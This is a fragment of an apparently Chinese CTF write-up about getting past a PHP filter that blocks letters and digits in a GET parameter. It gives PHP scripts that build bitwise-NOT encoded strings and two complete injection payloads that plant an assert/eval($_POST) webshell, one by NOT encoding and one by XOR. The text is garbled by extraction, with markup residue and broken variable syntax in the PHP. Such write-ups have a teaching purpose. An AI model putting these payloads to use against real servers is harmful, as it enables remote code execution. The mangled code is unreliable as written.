![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241202172932.png\")
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\n\u4f7f\u7528get\u4f20\u53c2 code\uff0c\u8fdb\u884c\u6761\u4ef6\u5224\u65ad\uff1a1\uff09\u4f20\u5165\u7684\u957f\u5ea6\u4e0d\u80fd\u8d85\u8fc740\uff1b2\uff09\u4f20\u5165\u4e0d\u80fd\u6709\u5927\u5c0f\u5199\u5b57\u6bcd\u548c\u6570\u5b57
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2.\u8fdb\u884c\u53d6\u53cd\u7ed5\u8fc7
\nphp\u811a\u672c\uff1a
\n<?php
\necho urlencode(~’phpinfo’)\uff1b
\n?>
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\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241202195038.png\")
<\/div>\n?code=(~%8F%97%8F%96%91%99%90)(); = ?code=phpinfo();
\n
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<\/div><\/p>\n3.\u6784\u9020webshell
\nphp\u811a\u672c\uff1a
\n<?php
\nerror_reporting(0);<\/p>\n
a=\u2032assert\u2032;<\/p>\n
b=urlencode(~$a);
\necho<\/p>\n
b;echo”<br>”;<\/p>\n
c='(eval(<\/p>\n
POST[mochu7]))\u2032;<\/p>\n
d=urlencode(~$c);
\necho $d;
\n?>
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\n%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241202195730.png\")
<\/div><\/p>\n4.\u6ce8\u5165webshell
\npayload:<\/p>\n
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); \/\/\u522b\u5fd8\u4e86\u540e\u9762\u7684\u5206\u53f7\n\u6216\u8005\uff1a\n?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])\n<\/code><\/pre>\n\u4f7f\u7528phpinfo();\u53d1\u73b0\u6210\u529f\u4e86
\n
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![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241202200116.png\")
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